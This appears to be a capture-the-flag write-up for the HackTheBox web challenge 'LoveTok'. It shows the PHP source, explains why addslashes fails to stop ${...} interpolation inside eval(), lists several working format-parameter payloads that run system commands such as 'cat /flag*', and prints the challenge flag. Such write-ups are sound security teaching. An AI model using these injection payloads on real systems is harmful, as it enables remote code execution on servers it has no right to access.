LoveTok
2 minutes to read
We are given the following website:

We also have the PHP source code of the server.
Source code analysis
There is only one controller (controllers/TimeController.php):
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
As can be seen, it takes a format parameter and calls TimeModel (models/TimeModel.php):
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}
This format is sanitized with addslashes, which escapes single quotes, double quotes, backslashes an null bytes. However, the getTime method inserts the contents of format inside the following PHP code:
$time = date("<format>", strtotime("<prediction>"));
The above code is interpreted with eval, and we have control over format.
Solution
We must find a way to inject PHP code in the above sentence. Our objective is to get Remote Code Execution, because the flag filename is randomized in entrypoint.sh:
#!/bin/bash
# Secure entrypoint
chmod 600 /entrypoint.sh
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
mv /flag /flag$FLAG
exec "$@"
Notice that our payload is inside double quotes, so we can use string interpolation like ${...} and execute inline PHP code.
This is a simple proof of concept:

Notice that we cannot use strings (single quotes or double quotes), but we can use some tricks. For instance, we can use array_values($_GET)[1] to take a string from another GET parameter. Or we can use this other trick to execute id:
?format=id${system(substr($this->format, 0, 2))}

Flag
At this point, we can execute any system command, so we can use cat /flag* to avoid knowing the random characters appended to the filename:
?format=cat /flag*${system(substr($this->format, 0, 10))}

HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng}
These are other payloads to capture the flag:
?format=${system(array_values($_GET)[1])}&asdf=cat /flag*?format=${system($_GET[1337])}&1337=cat /flag*?format=${print(`cat /flag*`)}